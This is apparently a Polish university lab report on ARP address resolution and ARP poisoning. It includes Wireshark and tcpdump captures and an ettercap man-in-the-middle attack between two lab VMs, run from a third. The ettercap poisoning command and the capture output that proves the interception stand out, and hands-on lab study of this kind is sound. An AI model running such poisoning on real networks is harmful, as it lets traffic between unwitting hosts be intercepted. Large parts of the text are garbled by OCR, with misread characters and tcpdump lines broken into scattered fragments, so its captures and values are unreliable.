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Security: Arp poisoning

Zadanie 1

Prosze opisac i zilustrowac proces przetozenia adresu IP na adres MAC podczas wysytania ruchu ICMP
np. wiadomosci ICMP Echo Request generowanej przez aplikacje ping. Do opisu i ilustracji tego
procesu prosze wykorzystac ruch przechwycony w programie Wireshark. W przechwyconym ruchu
prosze pokazac¢ i oméwi¢ wiadomosci ARP Request i ARP Reply oraz znaczenie poszczegdlnych pdl a
takze pokazac efekty przetozenia adresu IP na adres MAC widoczne w zawartosci tablicy ARP
(polecenie ARP -a). Do czyszczenia tablicy ARP mozna wykorzystac polecenie: arp -d
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No. Time Source Destination Protocol Lengtt Info =
7 3.051694361 172.27.244.20 172.27.248.1 ICMP 98 Echo ing) request 1d=0x@001, seq=4/1024, ttl=64
8 3.0852446010 172.27.248.1 172.27.244.20 ICMP 98 Echo ) reply id=0x0001, seq=4/1824, tt1=12f
9 4.853280554 172.27.244.20 172.27.248.1 ICMP 98 Echo ) request id=x8081, seq=5/1280, ttl=64
16 4.854237636 172.27.248.1 172.27.244.20 ICMP 98 Echo ) reply id=0x8081, seq=5/1280, ttl=12f

request id=8x0001, seq=6/1536, ttl=64

F
11 5.054878896 172.27.244.208 172.27.248.1 ICHMP 98 Echo
5.0855519484 172.27.248.1 172.27.244.20 ICHMP 98 Echo (p reply id=0x0881, seq=6f1536, tt1=12¢
A

5.186052691 Microsof_ab:82:3e 42 Who has 172.27.240.17 Tell 172.27.244.20
14 5.186552408 Microsof_a@:82:3e Microsof_38:01:27 ARP 42 172.27.240.1 is at 00:15:5d:a0@:82:3e

15 6.881795269  172.27.244.20 172.27.240.1 IcMp 98 Echo (ping) request id=8x0081, seq=7/1792, ttl1=64

16 6.082499388 172.27.240.1 172.27.244.20 ICMP 98 Echo (ping) reply id=0x0001, seq=7/1792, ttl=12¢

17 7.105705100  172.27.244.208 172.27.248.1 ICMP 98 Echo (ping) request id=0x0081, seq=8/2048, ttl1=64

18 7.106545269 172.27.240.1 172.27.244.20 ICMP 98 Echo (ping) reply id=0x00081, seq=8/2048, ttl=12f

19 8.106995087  172.27.244.28 172.27.240.1 ICMP 98 Echo (ping) request 1id=0x0081, seq=9/2384, ttl1=64

20 8.107732730 172.27.240.1 172.27.244.20 ICMP 98 Echo (ping) reply id=0x00e1, seq=9/2304, ttl=12f

21 9.121716751  172.27.244.28 172.27.240.1 ICMP 98 Echo (ping) request 1id=0x00@1, seq=10/256@, ttl1=6¢

22 9.122091010  172.27.240.1 172.27.244.20 ICMP 98 Echo (ping) reply id=0x00e1, seq=10/2560, ttl=1I

23 10.145681268 172.27.244.20 172.27.240.1 ICMP 98 Echo (ping) request id=0x000@1, seq=11/2816, ttl=6¢

24 10.146130530 172.27.248.1 172.27.244.20 ICMP 98 Echo (ping) reply id=0x0081, seq=11/2816, ttl=1I

T 25 11.169739811 172.27.244.28 172.27.248.1 ICMP 98 Echo (ping) request id=8x0081, seq=12/3872, ttl1=6<

? 26 11.170341423 172.27.248.1 172.27.244.20 IcMP 98 Echo (ping) reply id=0x00e1, seq=12/3872, ttl=1I
__o/" 27 12.193718711 172.27.244.20 172.27.240.1 IcMP 98 Echo (ping) request id=0x0001, seq=13/3328, ttl1=6:~

- 1 »

v Frame 13: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface eth@, id @
7 v Ethernet II, Src: Microsof_38:01:27 (00:15:5d:38:01:27), Dst: Microsof_a@:82:3e (00:15:5d:a0:82:3e)
/ » Address Resolution Protocol (request)
O

S
Lo [N
e
60 15 5d ab 82 3e @0 15 5d 38 01 27 08 06 GO @1 1= 18!
0010 ©8 @0 [[§ 04 00 01 @0 15 5d 38 01 27 ac 1b 4 14 -] 18-
> 00 00 00 0D ¢ 00 ac 1b 0O @1
aaan
aen
aen
) 7  etho: <live capture in progress> Packets: 70 - Displayed: 70 (100.0%) Profile: Default

Przechwycenie ruchu sieciowego ARP oraz ICMP

Na ilustracji wida¢ ruch sieciowy ICMP request/reply oraz wida¢ pojedyncze zadanie i odpowiedZ ARP.
administrator@UBUNTU-A:~$ arp -a

ARDU-STATION.mshome.net (172.27.240.1) at 00:15:5d:a0:82:3e [ether] on ethO
administrator@UBUNTU-A:~$

Wopis sie zgadza poniewaz jest to komputer ktéry odpowiedziat na zadanie ARP
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Analiza przechwyconego ruchu

ARP Request (Zapytanie ARP)

Pakiet ARP Request stuzy do uzyskania adresu MAC dla danego adresu IP. W przechwyconym pakiecie
nalezy zwrdci¢ uwage na nastepujgce pola:

e Sender MAC Address - adres MAC komputera wysytajgcego zapytanie.

e Sender IP Address - adres IP komputera wysytajagcego zapytanie.

e Target MAC Address - puste pole (00:00:00:00:00:00), poniewaz nie znamy jeszcze adresu
MAC.

» Target IP Address - IP docelowe (adres, ktory prébujemy pingowac).

ARP Reply (Odpowiedz ARP)

W odpowiedzi ARP docelowe urzadzenie przesyta swéj adres MAC. Wazne pola w pakiecie to:

e Sender MAC Address - adres MAC urzadzenia odpowiadajgcego.

e Sender IP Address - adres IP urzadzenia odpowiadajgcego.

» Target MAC Address - adres MAC komputera, ktéry wystat ARP Request.
e Target IP Address - adres IP komputera, ktéry wystat ARP Request.

ICMP Echo Request i Echo Reply

Po zakonczeniu wymiany pakietéw ARP mozna zaobserwowac pakiety ICMP:

e ICMP Echo Request - wystany przez nasz komputer do docelowego hosta.
* ICMP Echo Reply - odpowiedZ hosta docelowego.

Zadanie 2

e Uruchom wymiane ruchu (np, ping) pomiedzy komputerami A, B i C. Sprawdz i zapisz ich tablice
ARP.

e Sprawdz czy atakujgcy (maszyna C) moze podgladac ruch sieciowy (programy: tcpdump lub
wireshark).

e Atakujgcy (maszyna C) uruchamia atak (za pomocg programu ettercap):

ettercap -Tq -M arp /adres IP maszyny A// /adres IP maszyny B//
Podczas dziatania programu sprawdz jak wyglada ruch na kazdej z maszyn (programem tcpdump):
tcpdump -vv -i eth@ icmp lub tcpdump -vv -i eth@ arp

e Ponownie dokonaj wymiany ruchu (icmp) pomiedzy maszynami A i B.

administrator@UBUNTU-A:~$ ifconfig ethl
ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.1 netmask 255.255.255.0 broadcast 10.10.10.255
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inet6 fe80::4408:7928:15d7:6bf6 prefixlen 64
ether 00:15:5d:38:01:28 txqueuelen 1000
RX packets 272 bytes 44806 (44.8 KB)

RX errors © dropped 0
TX packets 162 bytes 23448 (23.4 KB)
carrier 0

TX errors 0 dropped 0 overruns 0

administrator@UBUNTU-A:~$ ping 10.10.10.2

10.10.2) 56(84) bytes of data.

.10.2: icmp seq=1 ttl=64 time=0.
2: icmp seq=2 ttl=64 time=0.

10.2: icmp seq=3 ttl=64 time=0.
2: icmp seq=4 ttl=64 time=0.

PING 10.10.10.
64 bytes from
64 bytes from
64 bytes from
64 bytes from
~C

---10.10.10.2

4 packets transmitted, 4 received, 0% packet loss,
= 0.234/0.248/0.280/0.018 ms
ping 10.10.10.3

rtt min/avg/max/mdev
administrator@UBUNTU-A:~$

2 (10.
10.10
10.10.
10.10.
10.10.

ping

PING 10.10.10.3 (10.

64 bytes from
64 bytes from
64 bytes from
64 bytes from
~C

--- 10.10.10.3

4 packets transmitted, 4 received, 0% packet loss,
rtt min/avg/max/mdev = 0.245/0.282/0.327/0.029 ms

10.10.
10.10
10.10.
10.10.

ping

10.

10.

statistics ---

10.10.3) 56(84) bytes of data.
10.3: icmp _seqg=1 ttl=64 time=0.
.10.3: icmp seq=2 ttl=64 time=0.
10.3: icmp seq=3 ttl=64 time=0.
10.3: icmp seq=4 ttl=64 time=0.

statistics ---

administrator@UBUNTU-A:~$ arp -a

? (10.10.10.2) at 00:15:5d:38:01:2c [ether] on ethl
(172.31.96.1) at 00:15:5d:a0:82:3e [ether] on eth0
? (10.10.10.3) at 00:15:5d:38:01:2b [ether] on ethl

ARDU-STATION.mshome.net

administrator@ubuntu-B:~$ ifconfig ethl

ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>
netmask 255.255.255.0 broadcast 10.10.10.255
scopeid 0x20<link>
(Ethernet)

inet 10.10.10.

inet6 fe80::3219:29ed:cc8:8f2a
ether 00:15:5d:38:01:2c
RX packets 360 bytes 58898 (58.8 KB)
RX errors @ dropped 0
TX packets 159 bytes 22797 (22.7 KB)

carrier 0

2

TX errors 0 dropped 0 overruns 0

administrator@ubuntu-B:~$ ping 10.10.10.1
10.10.1) 56(84) bytes of data.

PING 10.10.10.
64 bytes from
64 bytes from
64 bytes from
64 bytes from
~C

---10.10.10.1

4 packets transmitted, 4 received, 0% packet loss, time 3059ms

1 (10.
10.10.
10.10.
10.10.
10.10.

ping

overruns 0 frame 0

prefixlen 64
txqueuelen 1000

overruns 0 frame 0

280
241
234
239

time 3052ms

279
245
327
279

time 3052ms

10.1: icmp seg=1 ttl=64 time=0.273

10.

10.

statistics ---

1: icmp seq=2 ttl=64 time=0.249
10.1: icmp_seq=3 ttl=64 time=0.320
1: icmp seq=4 ttl=64 time=0.256

scopeid 0x20<link>
(Ethernet)

collisions 0

ms
ms
ms

ms
ms
ms
ms

mtu 1500

collisions 0

ms
ms
ms
ms
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rtt min/avg/max/mdev = 0.249/0.274/0.320/0.027 ms
administrator@ubuntu-B:~$ ping 10.10.10.3

PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.

64 bytes from 10.10.10.3: icmp seqg=1 ttl=64 time=0.246 ms
64 bytes from 10.10.10.3: icmp seq=2 ttl=64 time=0.281 ms
64 bytes from 10.10.10.3: icmp seq=3 ttl=64 time=0.884 ms
64 bytes from 10.10.10.3: icmp seq=4 ttl=64 time=0.398 ms
~C

--- 10.10.10.3 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3051ms
rtt min/avg/max/mdev = 0.246/0.452/0.884/0.255 ms
administrator@ubuntu-B:~$ arp -a

? (10.10.10.1) at 00:15:5d:38:01:28 [ether] on ethl

ARDU-STATION.mshome.net (172.31.96.1) at 00:15:5d:a0:82:3e [ether] on ethO

? (10.10.10.3) at 00:15:5d:38:01:2b [ether] on ethl

administrator@ubuntu-C:~$ ifconfig ethl

ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 10.10.10.3 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80::4953:7236:1d59:8825 prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:38:01:2b txqueuelen 1000 (Ethernet)

RX packets 637 bytes 99451 (99.4 KB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 164 bytes 23046 (23.0 KB)

TX errors © dropped 0 overruns 0 carrier © collisions 0

administrator@ubuntu-C:~$ ping 10.10.10.1

PING 10.10.10.1 (10.10.10.1) 56(84) bytes of data.

64 bytes from 10.10.10.1: icmp seq=1 ttl=64 time=0.258 ms
64 bytes from 10.10.10.1: icmp seq=2 ttl=64 time=0.792 ms
64 bytes from 10.10.10.1: icmp seqg=3 ttl=64 time=0.785 ms
64 bytes from 10.10.10.1: icmp seq=4 ttl=64 time=0.724 ms
~C

--- 10.10.10.1 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3028ms
rtt min/avg/max/mdev = 0.258/0.639/0.792/0.221 ms
administrator@ubuntu-C:~$ ping 10.10.10.2

PING 10.10.10.2 (10.10.10.2) 56(84) bytes of data.

64 bytes from 10.10.10.2: icmp seg=1 ttl=64 time=0.227 ms
64 bytes from 10.10.10.2: icmp seq=2 ttl=64 time=0.463 ms
64 bytes from 10.10.10.2: icmp seq=3 ttl=64 time=0.470 ms
64 bytes from 10.10.10.2: icmp seq=4 ttl=64 time=0.342 ms
~C

--- 10.10.10.2 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3058ms
rtt min/avg/max/mdev = 0.227/0.375/0.470/0.099 ms
administrator@ubuntu-C:~$ arp -a

? (10.10.10.1) at 00:15:5d:38:01:28 [ether] on ethl

? (10.10.10.2) at 00:15:5d:38:01:2c [ether] on ethl

ARDU-STATION.mshome.net (172.31.96.1) at 00:15:5d:a0:82:3e [ether] on eth®
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administrator@ubuntu-C:~$ sudo tcpdump -i ethl -c 5
for full protocol decode

tcpdump: verbose output suppressed, use -v[v]...

listening on ethl, link-type EN1OMB (Ethernet), snapshot length 262144 bytes
13:39:44.383796 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP,
Request from 00:15:5d:38:01:15 (oui Unknown), length 300

13:39:49.074325 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP,
Request from 00:15:5d:38:01:15 (oui Unknown), length 300

13:39:55.990012 IP 10.10.10.1 > ubuntu-C: ICMP echo request, id 5, seq 1,

length 64

13:39:55.990036 IP ubuntu-C > 10.10.10.1: ICMP echo reply, id 5, seq 1,

length 64

13:39:57.016697 IP 10.10.10.1 > ubuntu-C: ICMP echo request, id 5, seq 2,

length 64

5 packets captured

6 packets received by filter
0 packets dropped by kernel

administrator@ubuntu-C:~$ sudo ettercap -Tq -i ethl -M arp /10.10.10.1//

/10.10.10.2//

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:

ethl -> 00:15:5D:38:01:2B
10.10.10.3/255.255.255.0
fe80::4953:7236:1d59:8825/64

SSL dissection needs a valid 'redir command on' script in the etter.conf

file

Ettercap might not work correctly. /proc/sys/net/ipv6/conf/all/use tempaddr

is not set to 0.

Ettercap might not work correctly. /proc/sys/net/ipv6/conf/ethl/use tempaddr

is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...

34 plugins

42 protocol dissectors

57 ports monitored

28230 mac vendor fingerprint

1766 tcp 0S fingerprint

2182 known services

Lua: no scripts were specified, not starting up!

Scanning for merged targets (2 hosts)...

*
2 hosts added to the hosts list...

ARP poisoning victims:

>| 100.00 %
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GROUP 1 : 10.10.10.1 00:15:5D:38:01:28

GROUP 2 : 10.10.10.2 00:15:5D:38:01:2C
Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

administrator@UBUNTU-A:~$ sudo tcpdump -vv -i ethl \( icmp or arp \)
tcpdump: listening on ethl, link-type EN1OMB (Ethernet), snapshot length
262144 bytes

13:49:22.083240 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.2 is-at
00:15:5d:38:01:2b (oui Unknown), length 28

13:49:27.157358 IP (tos Ox0, ttl 64, id 264, offset 0, flags [DF], proto
ICMP (1), length 84)

UBUNTU-A > 10.10.10.2: ICMP echo request, id 7, seq 1, length 64
13:49:27.167155 IP (tos Ox0, ttl 64, id 15350, offset 0, flags [none], proto
ICMP (1), length 84)

10.10.10.2 > UBUNTU-A: ICMP echo reply, id 7, seq 1, length 64
13:49:28.159308 IP (tos 0x0, ttl 64, id 466, offset 0, flags [DF], proto
ICMP (1), length 84)

UBUNTU-A > 10.10.10.2: ICMP echo request, id 7, seq 2, length 64
13:49:28.179093 IP (tos Ox0, ttl 64, id 15549, offset 0, flags [none], proto
ICMP (1), length 84)

10.10.10.2 > UBUNTU-A: ICMP echo reply, id 7, seq 2, length 64
13:49:29.161229 IP (tos 0x0, ttl 64, id 625, offset 0, flags [DF], proto
ICMP (1), length 84)

UBUNTU-A > 10.10.10.2: ICMP echo request, id 7, seq 3, length 64
13:49:29.179101 IP (tos Ox0, ttl 64, id 15699, offset 0, flags [none], proto
ICMP (1), length 84)

10.10.10.2 > UBUNTU-A: ICMP echo reply, id 7, seq 3, length 64
13:49:30.163229 IP (tos Ox0, ttl 64, id 876, offset O, flags [DF], proto
ICMP (1), length 84)

UBUNTU-A > 10.10.10.2: ICMP echo request, id 7, seq 4, length 64
13:49:30.183098 IP (tos Ox0, ttl 64, id 15811, offset 0, flags [none], proto
ICMP (1), length 84)

10.10.10.2 > UBUNTU-A: ICMP echo reply, id 7, seq 4, length 64
13:49:32.093415 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.2 is-at
00:15:5d:38:01:2b (oui Unknown), length 28

13:49:42.103554 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.2 is-at
00:15:5d:38:01:2b (oui Unknown), length 28

13:49:50.146960 IP (tos Ox0, ttl 64, id 19058, offset 0, flags [DF], proto
ICMP (1), length 84)

10.10.10.2 > UBUNTU-A: ICMP echo request, id 4, seq 1, length 64
13:49:50.146975 IP (tos Ox0, ttl 64, id 4689, offset 0, flags [none], proto
ICMP (1), length 84)

UBUNTU-A > 10.10.10.2: ICMP echo reply, id 4, seq 1, length 64
13:49:51.150908 IP (tos Ox0, ttl 64, id 19184, offset 0, flags [DF], proto
ICMP (1), length 84)

10.10.10.2 > UBUNTU-A: ICMP echo request, id 4, seq 2, length 64
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13:49:51.150922 IP (tos Ox0, ttl 64, id 4697, offset 0, flags [none], proto
ICMP (1), length 84)

UBUNTU-A > 10.10.10.2: ICMP echo reply, id 4, seq 2, length 64
13:49:52.113665 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.2 is-at
00:15:5d:38:01:2b (oui Unknown), length 28

13:49:52.150984 IP (tos O0x0, ttl 64, id 19284, offset 0, flags [DF], proto
ICMP (1), length 84)

10.10.10.2 > UBUNTU-A: ICMP echo request, id 4, seq 3, length 64
13:49:52.150999 IP (tos Ox0, ttl 64, id 4821, offset 0, flags [none], proto
ICMP (1), length 84)

UBUNTU-A > 10.10.10.2: ICMP echo reply, id 4, seq 3, length 64
13:49:53.150951 IP (tos Ox0, ttl 64, id 19387, offset 0, flags [DF], proto
ICMP (1), length 84)

10.10.10.2 > UBUNTU-A: ICMP echo request, id 4, seq 4, length 64
13:49:53.150969 IP (tos Ox0, ttl 64, id 4903, offset 0, flags [none], proto
ICMP (1), length 84)

UBUNTU-A > 10.10.10.2: ICMP echo reply, id 4, seq 4, length 64
13:49:55.270833 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has UBUNTU-
A tell 10.10.10.3, length 28
13:49:55.270853 ARP, Ethernet (len 6), IPv4 (len 4), Reply UBUNTU-A is-at
00:15:5d:38:01:28 (oui Unknown), length 28

13:50:02.123843 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.2 is-at
00:15:5d:38:01:2b (oui Unknown), length 28

13:50:10.470760 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.2 is-at
00:15:5d:38:01:2c (oui Unknown), length 28

13:50:11.481045 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.2 is-at
00:15:5d:38:01:2c (oui Unknown), length 28

13:50:12.491286 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.2 is-at
00:15:5d:38:01:2c (oui Unknown), length 28

~C

26 packets captured

26 packets received by filter

0 packets dropped by kernel

administrator@UBUNTU-A:~$

administrator@ubuntu-B:~$ sudo tcpdump -vv -i ethl \( icmp or arp \)
tcpdump: listening on ethl, link-type EN1OMB (Ethernet), snapshot length
262144 bytes

13:49:22.076167 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.1 is-at
00:15:5d:38:01:2b (oui Unknown), length 28

13:49:27.152113 IP (tos Ox0, ttl 64, id 264, offset 0, flags [DF], proto
ICMP (1), length 84)

10.10.10.1 > ubuntu-B: ICMP echo request, id 7, seq 1, length 64
13:49:27.152134 IP (tos Ox0, ttl 64, id 15350, offset 0, flags [none], proto
ICMP (1), length 84)

ubuntu-B > 10.10.10.1: ICMP echo reply, id 7, seq 1, length 64
13:49:28.160124 IP (tos Ox0, ttl 64, id 466, offset O, flags [DF], proto
ICMP (1), length 84)

10.10.10.1 > ubuntu-B: ICMP echo request, id 7, seq 2, length 64
13:49:28.160155 IP (tos Ox0, ttl 64, id 15549, offset 0, flags [none], proto
ICMP (1), length 84)
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ubuntu-B > 10.10.10.1: ICMP echo reply, id 7, seq 2, length 64
13:49:29.164115 IP (tos Ox0, ttl 64, id 625, offset O, flags [DF], proto
ICMP (1), length 84)

10.10.10.1 > ubuntu-B: ICMP echo
13:49:29.164137 IP (tos 0Ox0, ttl

ICMP (1), length 84)

ubuntu-B > 10.10.10.1:
13:49:30.164162 IP (tos 0Ox0, ttl

ICMP echo reply, id 7, seq 3,

ICMP (1), length 84)

10.10.10.1 > ubuntu-B: ICMP echo
13:49:30.164182 IP (tos 0Ox0, ttl

ICMP (1), length 84)

ubuntu-B > 10.10.10.1:

ICMP echo reply, id 7, seq 4,

request, id 7, seq 3, length 64
64, id 15699, offset 0, flags [none], proto

length 64

64, id 876, offset 0, flags [DF], proto

request, id 7, seq 4, length 64
64, id 15811, offset 0, flags [none], proto

length 64

13:49:32.086478 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.1 is-at
00:15:5d:38:01:2b (oui Unknown), length 28
13:49:42.096759 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.1 is-at
00:15:5d:38:01:2b (oui Unknown), length 28
13:49:50.135585 IP (tos Ox0, ttl 64, id 19058, offset 0, flags [DF], proto
ICMP (1), length 84)

ubuntu-B > 10.10.10.1: ICMP echo
13:49:50.148251 IP (tos 0Ox0, ttl

ICMP (1), length 84)

10.10.10.1 > ubuntu-B: ICMP echo
13:49:51.137376 IP (tos 0Ox0, ttl

reply, id 4, seq 1,

ICMP (1), length 84)

ubuntu-B > 10.10.10.1: ICMP echo
13:49:51.152278 IP (tos 0Ox0, ttl

ICMP (1), length 84)
10.10.10.1 > ubuntu-B: ICMP echo reply, id 4, seq 2, length 64

13:49:52.107066 ARP, Ethernet (len 6), IPv4 (len 4), Reply 10.10.10.1 is-at
00:15:5d:38:01:2b (oui Unknown), length 28

13:49:52.138409 IP (tos 0x0, ttl

ICMP (1), length 84)

ubuntu-B > 10.10.10.1:
13:49:52.152303 IP (tos Ox0, ttl

ICMP echo

ICMP (1), length 84)

10.10.10.1 > ubuntu-B: ICMP echo
13:49:53.139465 IP (tos 0Ox0, ttl

reply, id 4, seq 3,

ICMP (1), length 84)

ubuntu-B > 10.10.10.1:
13:49:53.152289 IP (tos 0Ox0, ttl

ICMP echo

ICMP (1), length 84)

10.10.10.1 > ubuntu-B: ICMP echo reply, id 4, seq 4,
13:49:55.264221 ARP, Ethernet (len 6), IPv4 (len 4),
B tell 10.10.10.3, length 28

13

00:
13:
00:
13:
00:

:49:
15:
50:
15:
50:
15:

55.
5d:
02.
5d:
10.
5d:

264236 ARP, Ethernet (len 6), IPv4 (len 4),
38:01:2c (oui Unknown), length 28
117352 ARP, Ethernet (len 6), IPv4 (len 4),

38:01:2b (oui Unknown), length 28
464407 ARP, Ethernet (len 6), IPv4 (len 4),
38:01:28 (oui Unknown), length 28

request, id 4, seq 1, length 64
64, id 4689, offset 0, flags [none], proto

length 64

64, id 19184, offset 0, flags [DF], proto

request, id 4, seq 2, length 64
64, id 4697, offset 0, flags [none], proto

64, id 19284, offset 0, flags [DF], proto

request, id 4, seq 3, length 64
64, id 4821, offset 0, flags [none], proto

length 64

64, id 19387, offset 0, flags [DF], proto

request, id 4, seq 4, length 64
64, id 4903, offset 0, flags [none], proto

length 64
Request who-has ubuntu-

Reply ubuntu-B is-at
Reply 10.10.10.1 is-at

Reply 10.10.10.1 is-at
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13:50:11.474682 ARP, Ethernet

00:15:5d:38:01:28 (oui Unknown

13:50:12.484916 ARP, Ethernet

00:15:5d:38:01:28 (oui Unknown

~C

26 packets captured

26 packets received by filter
0 packets dropped by kernel

administrator@ubuntu-C:~$ sudo tcpdump -i ethl

tcpdump: verbose output suppressed, use -v[v]...
listening on ethl, link-type EN1OMB (Ethernet), snapshot length 262144 bytes
13:55:46.899410 IP 10.10.10.1 > 10.10.10.2: ICMP echo request, id 10, seq 1,

length 64
13:55:46.906185
length 64
13:55:46.906405
length 64
13:55:46.914203
length 64
13:55:47.900540
length 64
13:55:47.906333
length 64
13:55:47.906583
length 64
13:55:47.914128
length 64
13:55:48.901652
length 64
13:55:48.902185
length 64
13:55:48.902424
length 64
13:55:48.910207
length 64
13:55:49.903589
length 64
13:55:49.910308
length 64
13:55:49.910644
length 64
13:55:49.918177
length 64
13:55:51.746357
length 28
13:55:51.746374
length 28
13:55:53.284105
length 64
13:55:53.290146
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: ICMP
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for full protocol decode

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

request, id 10, seq
reply, id 10, seq 1,
reply, id 10, seq 1,
request, id 10, seq
request, id 10, seq
reply, id 10, seq 2,
reply, id 10, seq 2,
request, id 10, seq
request, id 10, seq
reply, id 10, seq 3,
reply, id 10, seq 3,
request, id 10, seq
request, id 10, seq
reply, id 10, seq 4,

reply, id 10, seq 4,

len 6), IPv4 (len 4), Reply 10.10.10.1 is-at
, length 28
len 6), IPv4 (len 4), Reply 10.10.10.1 is-at
, length 28

1,

2,

2,

3,

3,

4,

4,

is-at 00:15:5d:38:01:2b (oui Unknown),

is-at 00:15:5d:38:01:2b (oui Unknown),

10.

10.

1:

1:

ICMP echo request, id 6, seq 1,

ICMP echo request, id 6, seq 1,
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length 64

13:55:53.290369 IP 10.10.10.1 > 10.10.10.2: ICMP echo reply, id 6, seq 1,
length 64

13:55:53.302216 IP 10.10.10.1 > 10.10.10.2: ICMP echo reply, id 6, seq 1,
length 64

13:55:53.922101 ARP, Request who-has 10.10.10.1 tell ubuntu-C, length 28
13:55:53.922116 ARP, Request who-has 10.10.10.2 tell ubuntu-C, length 28
13:55:53.922378 ARP, Reply 10.10.10.1 is-at 00:15:5d:38:01:28 (oui Unknown),

length 28

13:55:53.922411 ARP, Reply 10.10.10.2 is-at 00:15:5d:38:01:2c (oui Unknown),
length 28

13:55:54.285698 IP 10.10.10.2 > 10.10.10.1: ICMP echo request, id 6, seq 2,
length 64

13:55:54.290187 IP 10.10.10.2 > 10.10.10.1: ICMP echo request, id 6, seq 2,
length 64

13:55:54.290426 IP 10.10.10.1 > 10.10.10.2: ICMP echo reply, id 6, seq 2,
length 64

13:55:54.298159 IP 10.10.10.1 > 10.10.10.2: ICMP echo reply, id 6, seq 2,
length 64

13:55:55.287553 IP 10.10.10.2 > 10.10.10.1: ICMP echo request, id 6, seq 3,
length 64

13:55:55.290230 IP 10.10.10.2 > 10.10.10.1: ICMP echo request, id 6, seq 3,
length 64

13:55:55.290437 IP 10.10.10.1 > 10.10.10.2: ICMP echo reply, id 6, seq 3,
length 64

13:55:55.298266 IP 10.10.10.1 > 10.10.10.2: ICMP echo reply, id 6, seq 3,
length 64

13:55:55.867471 IP ARDU-STATION.local.61354 > 239.255.255.250.1900: UDP,
length 137

13:55:56.288692 IP 10.10.10.2 > 10.10.10.1: ICMP echo request, id 6, seq 4,
length 64

13:55:56.290193 IP 10.10.10.2 > 10.10.10.1: ICMP echo request, id 6, seq 4,
length 64

13:55:56.290423 IP 10.10.10.1 > 10.10.10.2: ICMP echo reply, id 6, seq 4,
length 64

13:55:56.298138 IP 10.10.10.1 > 10.10.10.2: ICMP echo reply, id 6, seq 4,
length 64

13:55:56.316402 IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0 PTR
(QM)? 250.255.255.239.in-addr.arpa. (46)

13:55:56.316510 IP6 fe80::9733:b7ee:9c35:acfc.49650 > ff02::1:3.5355: UDP,
length 46

13:55:56.316665 IP ARDU-STATION.local.49650 > 224.0.0.252.5355: UDP, length
46

13:55:56.317604 IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
(QM)? 250.255.255.239.in-addr.arpa. (46)

13:55:56.318407 IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0 PTR
(QM)? 250.255.255.239.in-addr.arpa. (46)

13:55:56.319349 IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
(QM)? 250.255.255.239.in-addr.arpa. (46)

13:55:56.728392 IP6 fe80::9733:b7ee:9c35:acfc.49650 > ff02::1:3.5355: UDP,
length 46
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13:55:56.728527 IP ARDU-STATION.local.49650 > 224.0.0.252.5355: UDP, length
46

13:55:56.743203 IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0 PTR
(QM)? 250.255.255.239.in-addr.arpa. (46)

13:55:56.744322 IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
(QM)? 250.255.255.239.in-addr.arpa. (46)

13:55:56.745239 IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0 PTR
(QM)? 250.255.255.239.in-addr.arpa. (46)

13:55:56.746162 IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
(QM)? 250.255.255.239.in-addr.arpa. (46)

13:55:57.253747 IP6 ubuntu-C.mdns > ff02::fb.mdns: 0 PTR (QM)?
150.63.254.169.in-addr.arpa. (45)

13:55:57.253782 IP ubuntu-C.mdns > mdns.mcast.net.mdns: 0 PTR (QM)?
150.63.254.169.1in-addr.arpa. (45)

13:55:57.254439 IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0*- [0q]
1/0/1 (Cache flush) PTR ARDU-STATION.local. (89)

13:55:57.672798 IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0 PTR

(QM)?
3.0.0.0.1.0.0.0.
(90)
13:55:57.673030
length 90
13:55:57.673131
90
13:55:57.673730
(QM)?
3.0.0.0.1.0.0.0.
(90)
13:55:57.674491
(QM)?
3.0.0.0.1.0.0.0.
(90)
13:55:57.675271
(QM)?
3.0.0.0.1.0.0.0.
(90)
13:55:58.083886
length 90
13:55:58.083971
90
13:55:58.084237
(QM)?
3.0.0.0.1.0.0.0.
(90)
13:55:58.085310
(QM)?
3.0.0.0.1.0.0.0.
(90)
13:55:58.099340
(Qm)?

3.0.0.0.1.0.0.0.

0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa.
